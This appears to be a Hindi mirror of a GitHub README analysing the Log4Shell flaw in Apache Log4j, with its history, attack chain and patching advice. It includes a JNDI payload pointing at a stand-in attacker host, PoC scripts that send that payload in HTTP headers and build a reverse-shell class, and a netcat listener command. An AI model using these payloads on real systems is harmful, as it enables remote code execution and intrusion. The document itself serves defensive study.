Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-44228 — CVE-2021-44228 (Log4Shell) का शैक्षिक विश्लेषण, जिसमें PoC स्क्रिप्ट्स, हमले के वेक्टर का विवरण, और Apache Log4j में महत्वपूर्ण RCE कमजोरी को समझने और परीक्षण करने के लिए शमन मार्गदर्शन शामिल है। | Kitploit
उपकरण/GitHubGitHub/kaleth4/cve-2021-44228
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubkaleth4/cve-2021-44228

CVE-2021-44228

CVE-2021-44228 (Log4Shell) का शैक्षिक विश्लेषण, जिसमें PoC स्क्रिप्ट्स, हमले के वेक्टर का विवरण, और Apache Log4j में महत्वपूर्ण RCE कमजोरी को समझने और परीक्षण करने के लिए शमन मार्गदर्शन शामिल है।

रिपॉजिटरी देखें
124 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

🛡️ CVE-2021-44228: Log4Shell का विश्लेषण - वह कमज़ोरी जिसने जावा सुरक्षा में क्रांति ला दी

गंभीर प्रभाव (CVSS 10.0) | 2021 में खोजी गई, Apache Log4j में यह दोष रिमोट कोड निष्पादन (RCE) की अनुमति देता है और दुनिया भर के लाखों सिस्टमों को प्रभावित करता है। आज भी, यह साइबर सुरक्षा के लिए एक महत्वपूर्ण अनुस्मारक है!

Severity: Critical
Affected: Apache Log4j 2.x
Discovered: 2021


🔍 Log4Shell क्या है?

CVE-2021-44228, जिसे Log4Shell के नाम से जाना जाता है, Apache Log4j 2 लॉगिंग लाइब्रेरी में एक गंभीर रिमोट कोड निष्पादन (RCE) कमज़ोरी है। यह दोष दुर्भावनापूर्ण हमलावरों को कमज़ोर सर्वरों पर मनमाना कोड निष्पादित करने की अनुमति देता है, बस एक विशेष रूप से तैयार टेक्स्ट स्ट्रिंग भेजकर जिसे एप्लिकेशन लॉग करता है।

  • यह इतना खतरनाक क्यों है? Log4j जावा एप्लिकेशनों में सर्वव्यापी है, जिसमें क्लाउड सेवाएँ, वेब ऐप्स और एंटरप्राइज़ सॉफ्टवेयर शामिल हैं। इसके शोषण के लिए प्रमाणीकरण की आवश्यकता नहीं होती और यह उपयोगकर्ता इनपुट जैसे HTTP हेडर, फॉर्म या चैट के माध्यम से आसानी से फैल सकता है।
  • इसकी खोज की: Alibaba Cloud Security के Chen Zhaojun (नवंबर 2021)। सार्वजनिक रूप से 9 दिसंबर 2021 को प्रकट किया गया, जिसने CISA, NCSC और अन्य से वैश्विक अलर्ट ट्रिगर किए।
  • वैश्विक प्रभाव: सैकड़ों लाखों उपकरणों को प्रभावित किया। Minecraft, Twitter और Cisco जैसी कंपनियाँ प्रभावित हुईं। बड़े पैमाने पर हमले देखे गए: अपने चरम पर प्रति मिनट >100।
  • Log4Shell अकेला नहीं है; इससे CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS) और CVE-2021-4104 (Log4j 1.2 में RCE) जैसी कमज़ोरियाँ उत्पन्न हुईं।


    💀 हमला वेक्टर और कार्यप्रणाली

    समस्या का मूल Log4j में JNDI (Java Naming and Directory Interface) का असुरक्षित संचालन है, जो बिना सैनिटाइज़ेशन के रिमोट लुकअप को हल करता है।

    मूल पेलोड का उदाहरण

    root@kitploit:~
    ${jndi:ldap://atacante.com:1389/Exploit}
    

    यह कैसे काम करता है:

    1. हमलावर एक रिकॉर्ड किए गए संदेश (जैसे, HTTP में User-Agent) में पेलोड इंजेक्ट करता है।
    2. Log4j ${...} का पता लगाता है और JNDI लुकअप सक्रिय करता है।
    3. कमज़ोर सर्वर हमलावर के LDAP/RMI/DNS सर्वर से जुड़ता है।
    4. एक दुर्भावनापूर्ण जावा क्लास (जैसे, रिवर्स शेल) डाउनलोड और निष्पादित होती है।

    शोषण योग्य प्रोटोकॉल: LDAP, RMI, DNS, IIOP, आदि। यह खतरों को सक्षम करता है जैसे:

    • कॉइनमाइनिंग: क्रिप्टो माइनिंग के लिए संसाधनों की चोरी।
    • रैनसमवेयर: डेटा एन्क्रिप्शन (जैसे, Khonsari, Night Sky)।
    • DoS/DDoS: सिस्टम को ओवरलोड करना (जैसे, Mirai botnet के माध्यम से)।
    • लेटरल मूवमेंट: एस्केलेशन के लिए Cobalt Strike जैसे उपकरण।

    संक्रमण श्रृंखला (किल चेन):

    1. पहचान: Log4j का पता लगाने के लिए पोर्ट और हेडर स्कैनिंग।
    2. इंजेक्शन: असैनिटाइज़ किए गए इनपुट में पेलोड भेजना।
    3. रिज़ॉल्यूशन: JNDI हमलावर सर्वर से संपर्क करता है।
    4. निष्पादन: दुर्भावनापूर्ण कोड लोड और चलता है (जैसे, Kinsing जैसे मैलवेयर का डाउनलोड)।
    5. स्थिरता: क्रेडेंशियल्स की निकासी (/etc/passwd, /etc/shadow) या बैकडोर की स्थापना।

    📈 तकनीकी विवरण

    विशेषताविवरण
    CVSS v3.1 स्कोर10.0 (गंभीर) 🔥 - अधिकतम संभव गंभीरता।
    प्रभावित संस्करणLog4j 2.0-beta9 से 2.14.1 (उप-CVE के लिए 2.16.0 तक व्युत्पन्न शामिल)।
    मूल कारणबिना सत्यापन के JNDI संदेश प्रतिस्थापन; रिमोट लुकअप सक्षम।
    वेक्टररिमोट, प्रमाणीकरण रहित; वेब/क्लाउड ऐप्स में Java 8+ को प्रभावित करता है।
    प्रभावित उत्पादApache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter, और अधिक।
    शोषणआसान: GitHub पर सार्वजनिक PoCs; विशेषाधिकारों की आवश्यकता नहीं।

    प्रभाव के आँकड़े:

    • शुरू में >90% क्लाउड वातावरण उजागर हुए।
    • राज्य-समर्थित समूहों (चीन, उत्तर कोरिया) और साइबर अपराधियों द्वारा शोषित।
    • प्रारंभिक पैच: Log4j 2.15.0 (दिसंबर 2021), लेकिन अधूरा; सुरक्षित संस्करण: 2.17.1+।

    🚀 अवधारणा का प्रमाण (PoC) शैक्षिक

    ⚠️ चेतावनी: यह सामग्री केवल शैक्षिक उद्देश्यों और अधिकृत परीक्षण के लिए है। बिना स्पष्ट अनुमति के सिस्टम पर इसका उपयोग न करें। बिना अधिकार के कमज़ोरियों का शोषण करना अवैध है (जैसे, अमेरिका में CFAA कानून का उल्लंघन)। हमेशा नैतिक पेंटेस्टिंग करें।

    kozmer/log4j-shell-poc जैसे सार्वजनिक रिपॉजिटरी पर आधारित, यहाँ नियंत्रित वातावरण (जैसे, स्थानीय Docker/VM) में PoC का एक सरलीकृत अवलोकन है।

    सामान्य चरण अनुकरण (कमज़ोर वातावरण)

    1. रिपो क्लोन करें: git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/
    2. Docker बनाएँ: docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln
    3. कमज़ोर जावा स्थापित करें (जैसे, JDK 8u202): विश्वसनीय मिरर से डाउनलोड करें, निकालें और पथ कॉन्फ़िगर करें (जैसे, /usr/bin/jdk1.8.0_202)।
    4. PoC स्क्रिप्ट (poc.py) संशोधित करें: जावा पथ और IP समायोजित करें। सरलीकृत संस्करण उदाहरण:
    root@kitploit:~
    #!/usr/bin/env python3
    import argparse
    from colorama import Fore, init
    import subprocess
    import threading
    from pathlib import Path
    import os
    from http.server import HTTPServer, SimpleHTTPRequestHandler
    
    CUR_FOLDER = Path(__file__).parent.resolve()
    
    def generate_payload(userip: str, lport: int) -> None:
        program = f"""
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.OutputStream;
    import java.net.Socket;
    public class Exploit {{
        public Exploit() throws Exception {{
            String host="{userip}";
            int port={lport};
            String cmd="/bin/sh";
            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s = new Socket(host, port);
            // ... (código de shell inversa simplificado)
        }}
    }}
    """
        p = CUR_FOLDER / "Exploit.java"
        try:
            p.write_text(program)
            subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
            print(Fore.GREEN + '[+] Clase Exploit generada exitosamente')
        except Exception as e:
            print(Fore.RED + f'[-] Error: {e}')
    
    # ... (funciones para LDAP server y web server similares al original)
    
    def main():
        init(autoreset=True)
        print(Fore.BLUE + "[!] PoC Educativa para CVE-2021-44228 - ¡Úsala solo en labs!")
        # Argumentos: --userip localhost --webport 8000 --lport 9001
        # Lanza LDAP, web server y genera payload
    
    if __name__ == "__main__":
        main()
    
    1. निष्पादित करें: python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001
    2. लिसनर (Netcat): nc -lvnp 9001 - रिवर्स शेल की निगरानी करें।
    3. पेलोड इंजेक्ट करें: कमज़ोर ऐप (http://localhost:8080) में, लॉगिन/खोज फ़ील्ड में ${jndi:ldap://127.0.0.1:1389/a} का उपयोग करें।
    4. सत्यापित करें: Netcat पर कनेक्शन; टर्मिनल लॉग JNDI रिज़ॉल्यूशन दिखाते हैं।

    Python में सरल PoC (लिसनर + एक्सप्लॉइट): त्वरित डेमो के लिए, इस जोड़ी स्क्रिप्ट का उपयोग करें (पहले लिसनर चलाएँ)।

    listener.py:

    root@kitploit:~
    import socket
    import threading
    
    def start_listener(ip, port):
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.bind((ip, port))
        server.listen(1)
        print(f"[*] Listener en {ip}:{port}...")
        conn, addr = server.accept()
        print(f"[+] Conexión de {addr}")
        data = conn.recv(4096)
        print(data.decode('utf-8', errors='ignore'))
        conn.close()
    
    if __name__ == "__main__":
        threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
        input("Presiona Enter para detener...\n")  # Mantiene vivo
    

    exploit.py:

    root@kitploit:~
    import requests
    import argparse
    
    def send_exploit(target, lhost, lport):
        payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
        headers = {'User-Agent': payload}
        try:
            r = requests.get(target, headers=headers, timeout=10)
            print(f"[+] Enviado a {target} | Status: {r.status_code}")
        except Exception as e:
            print(f"[!] Error: {e}")
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser()
        parser.add_argument("-t", "--target", required=True)
        parser.add_argument("-l", "--lhost", required=True)
        parser.add_argument("-p", "--lport", type=int, default=1389)
        args = parser.parse_args()
        send_exploit(args.target, args.lhost, args.lport)
    

    निष्पादन: python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"

    नोट: सिम्युलेटेड LDAP के लिए Marshalsec की आवश्यकता है। केवल अलग-थलग लैब में परीक्षण करें।


    🛡️ शमन और पैच

    अभी कार्य करें! Log4Shell अपडेट और कॉन्फ़िगरेशन से टालने योग्य है।

    1. अनुशंसित अपडेट (उच्च प्राथमिकता)

    • Log4j 2.17.1 या उससे ऊपर में अपग्रेड करें (JNDI डिफ़ॉल्ट रूप से अक्षम)।
    • डाउनलोड: Apache Log4j Releases।
    • mvn dependency:tree या Snyk जैसे उपकरणों से अप्रत्यक्ष निर्भरताएँ जाँचें।

    2. त्वरित समाधान (अस्थायी)

    • JVM फ़्लैग: -Dlog4j2.formatMsgNoLookups=true
    • पर्यावरण: LOG4J_FORMAT_MSG_NO_LOOKUPS=true
    • Log4j कॉन्फ़िग: log4j2.xml में, जोड़ें: <Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>

    3. मैन्युअल निष्कासन

    root@kitploit:~
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    
    • JARs से JNDI क्लासेज हटाएँ।

    4. अतिरिक्त उपाय

    • WAF/IPS: ${jndi:*} पेलोड को ब्लॉक करें (जैसे, ModSecurity या Cloudflare नियम)।
    • स्कैनिंग: कमज़ोर संस्करणों का पता लगाने के लिए Nuclei या Nessus जैसे उपकरणों का उपयोग करें।
    • वर्चुअल पैचिंग: रिमोट लुकअप को ब्लॉक करने के लिए फ़ायरवॉल में लागू करें।
    • निगरानी: एंटीवायरस/EDR अपडेट करें (जैसे, Log4Shell के लिए Seqrite IPS नियम)।

    व्युत्पन्न CVE के लिए:

    • CVE-2021-45046: 2.16.0+ में अपडेट करें और मैसेज लुकअप अक्षम करें।
    • CVE-2021-45105: गैर-डिफ़ॉल्ट कॉन्फ़िग में रिकर्सिव लुकअप से बचें।
    • CVE-2021-4104: Log4j 1.2 में JNDI के साथ JMSAppender का उपयोग न करें।

    📚 अतिरिक्त संसाधन

    • आधिकारिक:
      • NVD - CVE-2021-44228
      • Apache Log4j सुरक्षा बुलेटिन
    • गाइड:
      • Microsoft Defender: Log4Shell प्रबंधन
      • Tenable: Log4Shell पर FAQ
      • Trend Micro: प्रभाव और शमन
    • शैक्षिक PoCs: GitHub - Log4j Shell PoC (कानूनी अस्वीकरण के साथ)।
    • उन्नत विश्लेषण: Seqrite: अवैध शोषण

    यह README.md साइबर सुरक्षा जागरूकता और शैक्षिक उद्देश्यों के लिए है। यह अवैध गतिविधियों को बढ़ावा नहीं देता। यदि आप सुरक्षा पेशेवर हैं, तो OWASP Dependency-Check जैसे उपकरणों से अपने वातावरण का मूल्यांकन करें। अपने सिस्टम को अपडेट रखें ताकि एक सुरक्षित दुनिया बन सके! 🔒

    अंतिम अपडेट: 2023 तक के डेटा पर आधारित। नवीनतम के लिए आधिकारिक स्रोतों की जाँच करें।

    टूल डाउनलोड करें